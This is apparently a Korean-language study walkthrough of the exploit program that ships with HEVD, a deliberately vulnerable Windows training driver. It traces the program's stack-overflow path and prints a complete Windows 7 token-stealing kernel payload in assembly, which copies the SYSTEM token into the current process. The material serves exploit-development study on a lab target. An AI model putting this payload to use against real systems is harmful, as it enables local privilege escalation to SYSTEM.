다음으로 exploit을 실행해주는 응용프로그램의 소스를 살펴본다.
github page - hevd
ARGBEGIN {
case 'd':
ExploitVulnerability.VulnerabilityType = DoubleFetch;
break;
case 'p':
ExploitVulnerability.VulnerabilityType = PoolOverflow;
break;
typedef enum _VULNERABILITY_TYPE {
DoubleFetch,
PoolOverflow,
UseAfterFree,
...,
ARGBEGIN
로 정의한 매크로를 이용해서 옵션을 확인한다.
옵션(취약점 종류)에 따라 ExploitVulnerability.VulnerabilityType
에 enum type으로 설정한 값을 저장한다.
Exploit(&ExploitVulnerability);
VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) {
...
...
// Determine type of vulnerability to exploit
switch (VulnerabilityType) {
case StackOverflow:
DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
LaunchExploitThread(&StackOverflowThread);
DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
break;
설정된 enum 값에 따라 해당 취약점 익스플로잇 함수를 LaunchExploitThread
의 인자로 전달하여 실행한다.
VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread)
{
...
...
hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, CREATE_SUSPENDED, 0);
먼저 취약점 함수에 대한 쓰레드를 생성한다.
SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(hThread, Mask);
그리고 쓰레드의 우선순위를 설정한 뒤, 쓰레드를 실행될 코어를 지정한다.
#1 doc ms - SetThreadAffinityMask
Remarks
A thread affinity mask is a bit vector in which each bit represents a logical processor that a thread is allowed to run on.
#2 https://1stpasa.tistory.com/8
Thread Handle을 인수로 받아 특정 코어에서 해당 Thread를 실행하도록 지정해주는 함수.
0x01 부터 순서대로 한비트씩 쉬프트 하면 원하는 코어를 결정할수 있다.
주의할점은 하나의 Thread는 여러개의 코어가 모두 실행시킬수 있는데
만약 첫번째 코어와 두번째 코어가 모두 실행 가능하도록 설정하고 싶다면
01 과 10 의 OR 연산결과값인 0x03 을 설정하면 되는것이다.
만약 코어 1,2,3 에서 실행가능하게 하고 싶다면
001 , 010 그리고 100 를 OR 연산하여 호출해주면 된다.
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
...
...
hFile = GetDeviceHandle(FileName);
HANDLE GetDeviceHandle(LPCSTR FileName) {
HANDLE hFile = NULL;
hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
return hFile;
}
먼저 드라이버에 대한 스트림을 생성한다.
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserModeBufferSize);
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
유저 버퍼를 할당하고, 버퍼를 0x41로 채운다.
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;
유저 버퍼의 마지막 4바이트에 EopPayload
의 주소를 저장한다.
PVOID EopPayload = &TokenStealingPayloadWin7;
EopPayload
는 TokenStealingPayloadWin7
의 주소값이며
//Payloads.c
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
TokenStealingPayloadWin7
는 어셈으로 코딩된 익스플로잇 코드이다.
따라서, 유저버퍼의 마지막 4바이트는 커널영역의 RET가 되는 위치로 유추된다.
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);
그 후, 설정한 유저버퍼 값을 드라이버에게 송신한다.